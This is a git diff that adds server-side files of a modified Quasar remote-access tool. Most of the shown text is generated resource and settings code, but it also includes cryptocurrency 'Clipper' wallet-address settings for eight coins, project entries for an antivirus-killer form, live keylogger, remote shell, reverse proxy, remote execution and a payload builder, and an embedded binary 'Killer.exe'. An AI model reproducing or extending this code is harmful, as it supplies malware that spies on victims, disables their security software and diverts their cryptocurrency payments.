internal static System.Drawing.Bitmap disk { + get { + object obj = ResourceManager.GetObject("disk", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap coins { + get { + object obj = ResourceManager.GetObject("coins", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap creditcards { + get { + object obj = ResourceManager.GetObject("creditcards", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap folder_go { + get { + object obj = ResourceManager.GetObject("folder_go", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap terminal { + get { + object obj = ResourceManager.GetObject("terminal", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap textfield_rename { + get { + object obj = ResourceManager.GetObject("textfield_rename", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap transmit_blue { + get { + object obj = ResourceManager.GetObject("transmit_blue", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap uac_shield { + get { + object obj = ResourceManager.GetObject("uac_shield", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap user { + get { + object obj = ResourceManager.GetObject("user", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap world_go { + get { + object obj = ResourceManager.GetObject("world_go", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap world_link { + get { + object obj = ResourceManager.GetObject("world_link", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap error { + get { + object obj = ResourceManager.GetObject("error", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap bug { + get { + object obj = ResourceManager.GetObject("bug", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap lock1 { + get { + object obj = ResourceManager.GetObject("lock1", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap key { + get { + object obj = ResourceManager.GetObject("key", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Properties/Resources.resx b/Quasar-1.4.1/Quasar.Server/Properties/Resources.resx new file mode 100755 index 0000000..081470d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Properties/Resources.resx @@ -0,0 +1,321 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Images\restart.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\server_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\application_cascade.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\lightning.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\shutdown.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\mouse_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\actions.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\refresh.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\world_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\terminal.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\keyboard_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\key_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\cancel.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\world_link.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\user.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\textfield_rename.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\monitoring.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\uac_shield.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\server_link.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\broom.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\server_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\computer.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\monitor.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\server_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\application_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\cog.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\drive_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\folder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\bricks.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\standby.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\shield.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\database_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\briefcase.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\package_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\disk.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\coins.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\creditcards.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + MIT License + +Copyright (c) 2023 MaxXor + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + + + ..\Images\mouse_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\transmit_blue.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\save.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\application_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\keyboard_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\Icons\Quasar_Server.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\keyboard_magnify.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\registry.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\server_disconnect.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\server.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\information.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\application_edit.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\application_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\arrow_down.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\arrow_up.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\page_copy.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\camera.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\error.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\bug.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\lock.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\key.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Properties/Settings.Designer.cs b/Quasar-1.4.1/Quasar.Server/Properties/Settings.Designer.cs new file mode 100755 index 0000000..b4356af --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Properties/Settings.Designer.cs @@ -0,0 +1,122 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace Quasar.Server.Properties { + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.8.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default { + get { + return defaultInstance; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string ClipperBTC { + get { + return ((string)(this["ClipperBTC"])); + } + set { + this["ClipperBTC"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string ClipperLTC { + get { + return ((string)(this["ClipperLTC"])); + } + set { + this["ClipperLTC"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string ClipperETH { + get { + return ((string)(this["ClipperETH"])); + } + set { + this["ClipperETH"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string ClipperXMR { + get { + return ((string)(this["ClipperXMR"])); + } + set { + this["ClipperXMR"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string ClipperSOL { + get { + return ((string)(this["ClipperSOL"])); + } + set { + this["ClipperSOL"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string ClipperXRP { + get { + return ((string)(this["ClipperXRP"])); + } + set { + this["ClipperXRP"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string ClipperTRX { + get { + return ((string)(this["ClipperTRX"])); + } + set { + this["ClipperTRX"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string ClipperBCH { + get { + return ((string)(this["ClipperBCH"])); + } + set { + this["ClipperBCH"] = value; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Properties/Settings.settings b/Quasar-1.4.1/Quasar.Server/Properties/Settings.settings new file mode 100755 index 0000000..2c89ef9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Properties/Settings.settings @@ -0,0 +1,32 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Quasar-1.4.1/Quasar.Server/Quasar.Server.csproj b/Quasar-1.4.1/Quasar.Server/Quasar.Server.csproj new file mode 100755 index 0000000..c21a669 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Quasar.Server.csproj @@ -0,0 +1,337 @@ + + + net461 + WinExe + Quasar + true + false + true + + + Quasar.Server.Program + + + Images\Icons\Quasar_Server.ico + + + app.manifest + + + ..\bin\Debug\ + true + false + MinimumRecommendedRules.ruleset + + + ..\bin\Release\ + true + none + false + MinimumRecommendedRules.ruleset + + + + + + + + + + Component + + + Component + + + Component + + + Component + + + Component + + + Component + + + WordTextBox.cs + + + Form + + + FrmCertificate.cs + + + Form + + + FrmAbout.cs + + + Form + + + FrmStartupAdd.cs + + + Form + + + FrmBuilder.cs + + + Form + + + FrmConnections.cs + + + Form + + + FrmFileManager.cs + + + Form + + + FrmKeylogger.cs + + + Form + + + FrmMain.cs + + + Component + + + Form + + + FrmRegistryEditor.cs + + + Form + + + FrmRegValueEditBinary.cs + + + Form + + + FrmRegValueEditMultiString.cs + + + Form + + + FrmRegValueEditString.cs + + + Form + + + FrmRegValueEditWord.cs + + + Form + + + FrmRemoteDesktop.cs + + + Form + + + FrmRemoteShell.cs + + + Form + + + FrmReverseProxy.cs + + + Form + + + FrmSettings.cs + + + Form + + + FrmShowMessagebox.cs + + + Form + + + FrmStartupManager.cs + + + Form + + + FrmSystemInformation.cs + + + Form + + + FrmTaskManager.cs + + + Form + + + FrmVisitWebsite.cs + + + Form + + + FrmRemoteExecution.cs + + + Form + + + FrmLicense.cs + + + Form + + + FrmAVKiller.cs + + + Form + + + Form + + + FrmLiveKeylogger.cs + + + FrmAutoTasks.cs + + + FrmAbout.cs + + + FrmCertificate.cs + + + FrmStartupAdd.cs + + + FrmBuilder.cs + + + FrmConnections.cs + + + FrmFileManager.cs + + + FrmKeylogger.cs + + + FrmMain.cs + Designer + + + FrmRegistryEditor.cs + + + FrmRegValueEditBinary.cs + + + FrmRegValueEditMultiString.cs + + + FrmRegValueEditString.cs + + + FrmRegValueEditWord.cs + + + FrmRemoteDesktop.cs + Designer + + + FrmRemoteShell.cs + + + FrmReverseProxy.cs + + + FrmSettings.cs + + + FrmShowMessagebox.cs + + + FrmStartupManager.cs + + + FrmSystemInformation.cs + + + FrmTaskManager.cs + + + FrmVisitWebsite.cs + + + FrmRemoteExecution.cs + + + ResXFileCodeGenerator + Designer + Resources.Designer.cs + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + + + + 0.11.4 + + + 5.6.0 + + + + + 2.4.8 + + + + 2.1.0 + + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Registry/RegValueHelper.cs b/Quasar-1.4.1/Quasar.Server/Registry/RegValueHelper.cs new file mode 100755 index 0000000..71110d9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Registry/RegValueHelper.cs @@ -0,0 +1,44 @@ +using Microsoft.Win32; +using Quasar.Common.Models; +using Quasar.Common.Utilities; +using System; + +namespace Quasar.Server.Registry +{ + public class RegValueHelper + { + private static string DEFAULT_REG_VALUE = "(Default)"; + + public static bool IsDefaultValue(string valueName) + { + return String.IsNullOrEmpty(valueName); + } + + public static string GetName(string valueName) + { + return IsDefaultValue(valueName) ? DEFAULT_REG_VALUE : valueName; + } + + public static string RegistryValueToString(RegValueData value) + { + switch (value.Kind) + { + case RegistryValueKind.Binary: + return value.Data.Length > 0 ? BitConverter.ToString(value.Data).Replace("-", " ").ToLower() : "(zero-length binary value)"; + case RegistryValueKind.MultiString: + return string.Join(" ", ByteConverter.ToStringArray(value.Data)); + case RegistryValueKind.DWord: + var dword = ByteConverter.ToUInt32(value.Data); + return $"0x{dword:x8} ({dword})"; // show hexadecimal and decimal + case RegistryValueKind.QWord: + var qword = ByteConverter.ToUInt64(value.Data); + return $"0x{qword:x8} ({qword})"; // show hexadecimal and decimal + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + return ByteConverter.ToString(value.Data); + default: + return string.Empty; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Killer.exe b/Quasar-1.4.1/Quasar.Server/Resources/Killer.exe new file mode 100755 index 0000000000000000000000000000000000000000..dadd04aa765b158f0b5b07197253f2b02e99cf62 GIT binary patch literal 205312 zcmeFadwf*Y)$l(PG7v7|3`jIykWtYlS|#zCc+EgY&*+Te1+^-QRw>pS!i?etO`MEy zIz1L!eR_W$T6>`v+gJr7R-F(`xF|$ajM_&7T0P^ajoLy$V1D1V&zV~i)Ti(7^L*Yv z-h5!rIs5Fr_S$Q$z4qE`uf0$BvL&uzE|;s6|Cx--)y7r+8r1I>|Mc^E?4*@rT~CaB z@sKum=*2@Wnsfbp-`sh(d~4p-H~GGK_02cm67gMgoo`6a1=9mA*R}V1T${ds*Y(*veXc`Yqf5pf>8dPo zxysxsxy;4ASKT(K6uBp9xKk*5bxntgLPY+Cxn?zI3pr&;wSipa^3&mqyp3R7T1Hg7W_3JHpkf6T(hK3FF%rH=b(Ja zW9Hf!RT~AtgUPpRP`-v^=3RH=E#Gvhw!0e0S4O@AxEB01xLi{U9{=C%|9}EB{FnGI z_Fr`IB^T<=ANr7R-TdR^CIIMN@gH&7lgVU4Mwf1E2pIvN-W8}M(WNJ*dUYc(hifI* zs!-xiU!%5SURCU5cXXtlxU4L75wJpu!@uqt<_abbnykm)jFjn_^{G=y?~MNtAnwli zf7q9Y<)WJvR~=SD{oxva+gMVpx!;$X!ZlC3Tt1g>tkJjkXifj*jc%Ata!Jgn3nc;# z6zSHD8FMY|O}8tyu-mP*JkD!g^@ig~t>rf=Z@4EI>vu;dYAf8a{-d;(C8YY>z{VBp zKU!;P<|ci4Q~goV>3XJ}tmDIGLuOtuP`lQ@auhFX-wfBUiOf7xTXE1xf2^b1ANzdd z?GtsQC%AoUqw%J;WR>pj(7vB+*%TcS%(S;8BO4Xs=_3I)ZvKzQP*J{jGrCmwF1Dm}g_qS?67{<+pkjii~=+(Dys@{qK% zUVTZ(5uT$P;To=0Ty$VF1o^fdpyaPc)iRJP#WJJAysu2=% zt&^(_vcWpx2$$=r8WL7YMb??q$P!N?N^`ZACNgT?K#k@NH)!4&)3tHaecCwPtBnKO zzyiCTyQCf?+NT=}C37p8lUjASSE~*n3xR$;p?mfC+K5+=wR=0`4^fNT`rbytHXvYT zX;p!4tt#BhGe82AaN5H>uSgyG`j7V@Uwin4{8D3!BJKkMD?Xu`0MeK#k(vg6ys*M{eVuGQCR;Qt5piMuGeS-59PL=a%u> zs~dfK^J?k(mtS?I{|f(={;OtoJSA*dDGahc8(HE?Yj%Q=!`e!MHd>q1!~+#vG}&9A zL}DM-=;rU`l^%OWF0RPFc}aHU+nVj)n-Ykvt|>rc_L47vZOMH$9`8 z5)sySTNA)wfHd6dbq|95Mf8d-oa>6#1H_vXDX(>-hLF&qt;baprJvJMyPp@g)K&t{ z%YhW0{pIb^R{UJRYAcpYC3&S$79Eq7*tf^JfiGi&tD)&Vcf;c4qPCjeaWDS4NcI3a zehL4mPYO|=0`iOk8<|Y|=jdiB<{tp#$;duA>8xTrnPaU#oyxa$x+9h3tdtyDj$D=2 zN9AtUwhnh>A71)$=|1b#LkIKu1^LqxBU1~0<#wqDerDJs?HZ{)H_`^`WSEr^E)f){ zZta1k^heZ@Pmd*iTq`>RC%HQVC%Ua0)+@ZV_|fFZrqZP=E&n>ZMc!O0I{wB-NleV} zg%VR47)tcS*=3q{D!Me#3fLs$#2V+hn*qLx|GlIyC4E_E-~`e2OD*f`Qqu{*30GO^ zBLUbIs8aMxM16YVo+>?dZ>1{|)Dve3uKhx^Q&G%)Brp;M%JhUH^>6_6XSyLBDbvds z<#YvLVPB*?lxXnEYwMiT1pZl-w2le`ln1EN*}zJiDe!Fh9Y-@k>qHS>uXQbq5h~~j zw_=OO`u-T{9?h$T)Tor19h8*POS=MILB2CEfuf#M4iqH}CAtD@RGnRcZn}aqQuPRM z-JFrMI`#!02%12dK82=ny;!Y{&gv&&YV5-*NAqbbq9Vbg=V=^$C;2I%s_4$bo0i^4G3Vrtp>stji&RI zNJo-RV@anWRZJDT<3z@)I%BIFW~TP1QW;|!W_D!d5unJ&w;KkQLf8U*Qqp?2-Y(>u z*^yOE>MHm!g5Nl~rU0Kl>tVXaN*VqA$}$9QpJ?NmshQd?H(|mX6r8iv7dck2*!Gw7767Fh%f{{V)d@b zR6XG@LmVw($q77QHVJk)y{1@{XU}*?BrL_3)NM{h!XouIG`{dF4?-kM@k*Fz9X}Y= zFW?sl+M|J zUJBW6IzSBzbRD;FZnQHtbSh#{_wGZ!M9%16Pn~GvH)Q`pA_PAr2U+NI^7s|E2mVs$ zNR*9({($!KUKpfAekggJ;$ZTH@@lM!^$v^myU`p>E^j! z;|*(6yGw@nv9#S4^;qkNseab4#};4{ordD_fgtj+HbVDk5Ok<9r#D>69wJ5ALpeLh zWlf`AF<*oZG9wZLCbqB-1PZX#T5iN}>(g>+Si7|nam*Psj=b7TP=km)mxE$i6h$vtj(Y2}es-MDgeG-0*z`f0I_MV2 z$3S@2`VuSvZBhdmsQIH}dSQJSKd$X+j79;>uxQsFBmm*dLvNBs4_)56;fvv80sL}X z5%i_S&(JM17%iLaE-wXECeMZ&;SXTl`onEI^FITe=9D&G@-Tyof;q%pv zcmpZ$CPaV*MGdRn`^g$=mI{i1`|8 zQbekISRsKGQK7px`P*or;2?EaZ-Ies{Jc)^G2`lD#BH4IORlBIe<~BSxU`hYKi1Tw zK~=8cbp5cQ*N~e~o7r zA|1~5pADCGh;!=u%ue(!mt99gnOr*?ylyaG!aZsV7u|Qs6Ec6@Ktjmag5$~G>b8zQ z#N|pTw#NF0Y4Nch$rD|(gn7D@)K)ZjTY!H$>9qgg3HXH0;^x<5_tG%14H=(UE8Zt_E>o=XmHPv#evPg*eiAV#(@)M&qDoIJC<_^ndMThA z&s1`GN+@2t$$DgSRx0MB1cOGGzpaMXRLjfnY<0Vs(b)+*LdK`oon((EqvwZ=9oEHC z)b!j^F4)_`+@*L+dFZDkSqam)<(DduTdZk#HdD1!RBXQmjlb#U%zxs+v(BQ*klEl? zM18}$rkO|MolxS}N@(hznGU3=UYisEdHbopD{_}#TQR28JpZ|-od;;&UzObIDO*QU z$m41>{m=QE`Va8qSN11+J^r#axQZL=RzCVwm@6~ z#5!LmM0F$7RH0rwIO3I~ern=P)RGsL%I?{6b zP7-{Q0R2}UMu?uDDD1o0IgGg@sToQ6(8yTAyqf;m-4S!^lYPf@Gw)iYV5N9_BP%AWY9~PAu=1`S7=eA)MtcW zFc^MB%kPJ7AbAPNsMwKO{AV^yNzjc>>&dZl?MuZ~vS&K(3CzGR9J;Q(i6RM8^+D`Z}o8CbcSiXm4IE1HPCJSNLbzo`0z7tN8K? zj(P-GOym$yT zQlM`N{O^tt6Z`PetRJpAf?FkzH<U7fu>nEIt-lNn&l$kg#8+S{DL7)x-e5A5s|y-0g}&JiQ{MiU z7(FPjPEl1X&>k$JXND%%SgYygGIy&hb|2aHr0tH=vu-VAJF1n~4`F=B=wx+EH`a&D z6ONr&!jO5|4`F`#U>RuIEnlqvFfIN(8SVK)e4Ey?oF}zLwlioje;(y_u{d_P(al6R z_|4M$L+-vzZ_}OL!y+%GzDw4k@io3lYgweq_vzK$+I>xO@239F^dn7oYKKKOnmtAS=@H1Xh<461W?73!OHE~%t=%NRW2<## zoy)>n$k>@qhs^T7VnOM~OS_}^JywKUQx|5tyWV2YvK^Kk0ec4 zBOXS(PiH6BTxT$~RwT$zt(Di2g-JA8Hv>cuZ4q8?9WT6Q>8YBrS9~0So|d(du`Ym>P|oJx>UmR8l3nPbCO_BezNA4tw#tB$lH@SY8Vn-N$F zy30hFaBXEMaGdsSU_WLbh5b@%{Xa#+ATrjuP06pCFYe`l}vI9jQeWp z6slM2iF3WII(s$maMr>@re`BUq?V51c7x*f%+yaWmoBCj#;pRqd-R8j41?#FB3;a{ ziy{vCtmhANFt?%RJGuDV=1Rw&3(akRbz-E|>9tY3O7$KSYKp@Ny8}_=R;KUM2rS~Z 